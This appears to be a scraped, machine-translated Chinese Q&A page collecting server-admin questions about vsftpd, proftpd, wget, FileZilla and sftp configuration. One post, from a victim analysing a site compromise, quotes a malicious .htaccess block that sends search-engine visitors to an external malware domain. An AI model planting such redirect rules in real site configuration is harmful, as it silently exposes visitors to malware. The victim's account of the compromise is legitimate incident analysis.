标签: ftp

vsftpd 不接受用 MD5 加密的密码

我正在使用 vsftpd 设置服务器以让虚拟用户访问他们的空间。现在它可以正常工作,但只能使用 CRYPT 密码。所以

sudo htpasswd -c /etc/vsftpd/ftpd.passwd phpmyadmin
Run Code Online (Sandbox Code Playgroud)

不允许我登录,但是

sudo htpasswd -c -d /etc/vsftpd/ftpd.passwd phpmyadmin
Run Code Online (Sandbox Code Playgroud)

将要。

/etc/vsftpd.conf

listen=YES
anonymous_enable=NO
local_enable=YES
write_enable=YES
local_umask=022
nopriv_user=vsftpd
virtual_use_local_privs=YES
guest_enable=YES
user_sub_token=$USER
local_root=/var/www/vhosts/$USER.universe.local
chroot_local_user=YES
hide_ids=YES
guest_username=vsftpd
Run Code Online (Sandbox Code Playgroud)

/etc/pam.d/vsftpd

auth required pam_pwdfile.so pwdfile /etc/vsftpd/ftpd.passwd crypt=2
account required pam_permit.so crypt=2
Run Code Online (Sandbox Code Playgroud)

我从源代码和 PHP 安装了 apache2.4.3。

我尝试过的事情:

  • 谷歌很多
  • 设置 crypt=2
  • 问朋友们
  • 使用 SHA(也不起作用)
  • 更新 htpasswd 和 vsftpd

我已经为此苦苦挣扎了一个星期,我希望你们能进一步帮助我

ftp pam md5 vsftpd

10
推荐指数
2
解决办法
1万
查看次数

PASV命令后wget ftp连接失败

在尝试将所有文​​件从一个 Web 服务器(“源”)传输到另一个(“目标”)时,wget 命令通过 FTP 进行连接,但无法在 PASV 命令之外继续进行。

我正在使用到“目标”服务器(共享主机上的 Linux 机器)的 SSH 连接来运行 wget 命令。

“源”服务器是微软服务器,我桌面上的FTP客户端没有问题。

这是我用来启动传输的命令:

wget -m ftp://username:'password'@sourceserver.com
Run Code Online (Sandbox Code Playgroud)

登录成功,然后发出这些命令:

==> SYST ... done.      ==> PWD ... done.
==> TYPE I ... done.    ==> CWD not needed.
==> ... couldn't connect to xxx.xxx.xxx.xxx port 1128: Connection timed out
Retrying.
Run Code Online (Sandbox Code Playgroud)

由于“无法连接”错误,每次重试时,它都会尝试不同的端口号(不是 21,它已经成功连接到)。我第一次记录错误时,它尝试了 487X 范围内的端口。

我不知道问题是在 Microsoft(“源”)服务器端还是在 Linux(“客户端”)端。

想法?

connection ftp wget

10
推荐指数
2
解决办法
2万
查看次数

使用 FileZilla 连接到 FTP 站点时,服务器发送带有不可路由地址的被动回复

我收到错误消息“服务器发送了具有不可路由地址的被动回复。改用服务器地址。” 连接到 FTP 站点(非 SFTP)时

我已经多次连接到该站点,但是 FileZilla 首次要求我接受证书。

我正在连接的帐户似乎不是问题,因为它发生在该服务器上的所有帐户上。

在此处输入图片说明

certificate routing ftp tls

10
推荐指数
2
解决办法
8万
查看次数

FTP'ing大文件时如何防止TCP连接超时?

我无法将大文件从 Internet FTP(检索)到我的 Linux VM。过一会就超时了。

实际错误是“无法从控制连接读取回复——超时。 ”此错误发生在几分钟后,在文件的大部分已经传输之后。

设置是:

FTP 客户端:ncftpget 运行在 Linux 上的 VMWare Player 3.0
FTP 服务器:别人的机器在 Internet 上,配置未知
来宾操作系统:Ubuntu 8.10 Linux 32 位,安装了 vmxnet 和 vmware 工具。
主机操作系统:Vista 64 位
网络:Linux VM 通过桥接 NIC 连接到 Internet(也尝试过 NAT)
FTP模式:PASV
我确实发现一些论坛帖子提到了某处的 2 分钟超时。但究竟在哪里以及如何修复它并不清楚。已经尝试了一些故障排除步骤:

  • 我已从 VMWare Player 3.0 切换到 VirtualBox 3.0.x,但没有成功。
  • 我也从 NAT 改为桥接虚拟网卡,但没有运气

Linux VM 上的更新Netstat 和 DIR-655 路由器上的等效管理页面都显示连接处于活动状态且良好(tcp 'ESTABLISHED' 状态)。Vista 根本看不到连接,如果仅在 VM 内管理连接状态,我猜这是正常的。

这是netsh interface tcp show global在 Vista上的输出,以防万一:

C:\Users\alex>netsh interface tcp show global …

networking linux ftp vmware-player

9
推荐指数
2
解决办法
5万
查看次数

通过受感染的 FTP 帐户剖析网站攻击

我的网站被黑了,此时,我知道一些细节,但我不知道它究竟是如何发生的,也不知道如何在未来防止它发生。我需要你的帮助来剖析这次攻击,以便我可以防止它再次发生。这有点长,但我想确保我提供了足够的信息来帮助解决问题。

这就是发生的事情。

几周前,我收到了来自托管公司 GoDaddy 的电子邮件,说我的网站使用了太多资源,他们预计 MySQL 查询是罪魁祸首。有问题的查询是一个搜索查询,其中包含 5-6 个术语。根据我的设置方式,您搜索的术语越多,查询就越复杂。没问题。我修复了它,但与此同时,GoDaddy 也暂时关闭了我的帐户,大约 3 天后一切才恢复正常。

在那次事件之后,我的搜索引擎流量急剧下降,大约 90%。它很糟糕,因为我什么都没想到,将其写入查询失败并认为它会在 Google 重新抓取该网站时及时返回。它没有。

几天前,我收到一封来自用户的电子邮件,说我的网站托管了恶意软件。我直接在浏览器中加载了该站点,但没有看到任何注入到页面中的内容。然后我检查了我的 .htaccess 文件,发现以下内容:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=584 [R,L]
</IfModule>
Run Code Online (Sandbox Code Playgroud)

可爱的。而且有点狡猾。从地址栏或书签直接导航到站点,我通常会像往常一样加载站点。我很少通过搜索引擎的链接访问我的网站,所以这就是为什么只要有黑客攻击就没有被发现的原因。该恶意软件也没有直接托管在我的网站上。

快速搜索显示其他人也遇到了同样的问题,但我怀疑还有很多人还没有发现它。大多数建议是升级到最新版本的软件、更改密码等。

由于我使用的是我自己的自定义内容管理系统而不是无处不在的 Wordpress,因此我进行了更深入的挖掘。我扫描了所有文件以查找 PHP 漏洞利用中使用的常用函数:base64_decode、exec、shell 等……没有发现任何可疑的东西,也没有额外的文件。

我接下来检查了 GoDaddy 的文件管理器历史记录,发现 .htaccess 文件在我的搜索查询被指控使用过多服务器资源的同一日期更改。这可能是一个不幸的巧合,但我并不完全确定。.htaccess 文件中的重定向似乎不是资源密集型的,而且查询足够复杂,可能是资源密集型的。

我想确定我的代码不是问题,所以我在修改 …

hacking ftp godaddy .htaccess

9
推荐指数
2
解决办法
1255
查看次数

FTP 550:权限被拒绝

当我尝试创建新目录时,我突然收到错误 550:Filezilla 中的权限被拒绝。

几天前,我更改了服务器上有关 ssl 和 imap 设置的一些设置,但我认为这不会影响 FTP 设置...

无论如何,经过长时间的谷歌搜索似乎没有任何效果。主要想法可能是用户没有获得权限,但有趣的是我可以:

  • 创建文件
  • 删除文件
  • 删除目录

但不创建目录。我在主目录中收到错误“550 Permission denied”,在子目录中收到“550 access_log: No such file or directory”。

任何人都知道错误可能在哪里?谢谢

permissions ssh ftp

9
推荐指数
2
解决办法
12万
查看次数

如何启动/停止 proftpd

我似乎找不到停止/重新启动 proftpd 的方法。我的服务器 IP 地址是 xx.yy.zz.ww 并且通过 FTP 从外部设备连接给我提示:

Connected to xx.yy.zz.ww
220 ProFTPD 1.3.1 Server (ProFTPD)
Run Code Online (Sandbox Code Playgroud)

然后它问我用户名。

当我尝试从同一台服务器(ftp localhost)连接时,会发生同样的事情。因此,我确定 proftp 正在我的服务器上运行。

另外,在我的服务器 (xx.yy.zz.ww) 上。我在拖尾/var/log/messages,它显示我打开和关闭了 FTP 会话。

我找不到 proftpd 是如何工作的。/etc/init.d/ 没有 proftpd ;/etc/xinetd.d/ 没有 proftpd。

我看了看:/etc/proftpd.conf它显示了我ServerType inetd

另外,当我运行时:ps -auxfww| grep proftp 我什么也没得到(除了我当前的命令)

我怎样才能知道 proftp 正在运行,我怎样才能杀死它/重新启动它?

ftp rhel5 proftpd

8
推荐指数
1
解决办法
4万
查看次数

添加“匹配组”子句后 sftp/ssh 失败

我正在尝试在 EC2 上的 ubuntu/precise 上设置 sftp 服务器。我已经成功添加了一个可以通过 ssh 连接的新用户,但是一旦我添加了以下子句:

Match Group sftp
    ChrootDirectory /home/%u
    AllowTCPForwarding no
    X11Forwarding no
    ForceCommand internal-sftp
Run Code Online (Sandbox Code Playgroud)

我无法再连接(根本无法连接,无论是 ssh 还是其他方式),我收到消息

Error: Connection refused
Error: Could not connect to server
Run Code Online (Sandbox Code Playgroud)

我能够连接子系统设置为:

#Subsystem sftp /usr/lib/openssh/sftp-server
Subsystem sftp internal-sftp
Run Code Online (Sandbox Code Playgroud)

知道为什么 ssh 服务器会因这个“匹配”子句而失败吗?基本上,除了“chroot”部分之外,一切都在工作。

linux ubuntu ssh ftp sftp

8
推荐指数
1
解决办法
1万
查看次数

VSFTPD 不允许使用虚拟用户上传

我正在尝试在运行 Ubuntu 12.04 的服务器上使用虚拟用户设置 VSFTPD。我已将服务器配置为允许虚拟用户登录,但无法让它允许上传。我的 vsftpd.conf 如下:

listen=YES
anonymous_enable=NO
local_enable=YES
write_enable=YES
local_umask=022
anon_upload_enable=YES
dirmessage_enable=YES
use_localtime=YES
xferlog_enable=YES
connect_from_port_20=YES

chroot_local_user=YES
virtual_use_local_privs=YES
guest_enable=YES
guest_username=virtual
user_sub_token=$USER
local_root=/var/www/$USER
hide_ids=YES

secure_chroot_dir=/var/run/vsftpd/empty
pam_service_name=vsftpd
rsa_cert_file=/etc/ssl/private/vsftpd.pem
Run Code Online (Sandbox Code Playgroud)

/etc/pam.d/vsftpd 包含:

auth required pam_pwdfile.so pwdfile /etc/vsftpd.passwd crypt=hash
account required pam_permit.so crypt=hash
Run Code Online (Sandbox Code Playgroud)

我设置了两个虚拟用户,其中一个与本地用户同名。他们每个人在 /var/www/ 中都有一个由“虚拟”拥有的目录。据我了解,当虚拟用户以这种方式登录时,他们将在系统中显示为虚拟用户。使用此配置用户可以登录,但不能上传文件。中给出的错误/var/log/vsftpd.log是:

Tue Nov 20 19:49:00 2012 [pid 2] CONNECT: Client "96.233.116.53"
Tue Nov 20 19:49:07 2012 [pid 1] [zac] OK LOGIN: Client "96.233.116.53"
Tue Nov 20 19:49:11 2012 [pid 2] CONNECT: Client "96.233.116.53"
Tue Nov 20 19:49:11 …
Run Code Online (Sandbox Code Playgroud)

virtualization ubuntu ftp vsftpd

8
推荐指数
1
解决办法
3756
查看次数

vsftpd:限制连接到一组 IP 地址

是否可以将 vsftpd 设置为仅接受来自特定 IP 地址集的连接?

我已经查看了 /etc/vsftpd.conf 的选项,但没有任何提示。说明书也没有。

我的服务器操作系统:红帽企业 Linux 服务器 6.5 版(圣地亚哥)

ftp vsftpd

8
推荐指数
1
解决办法
3万
查看次数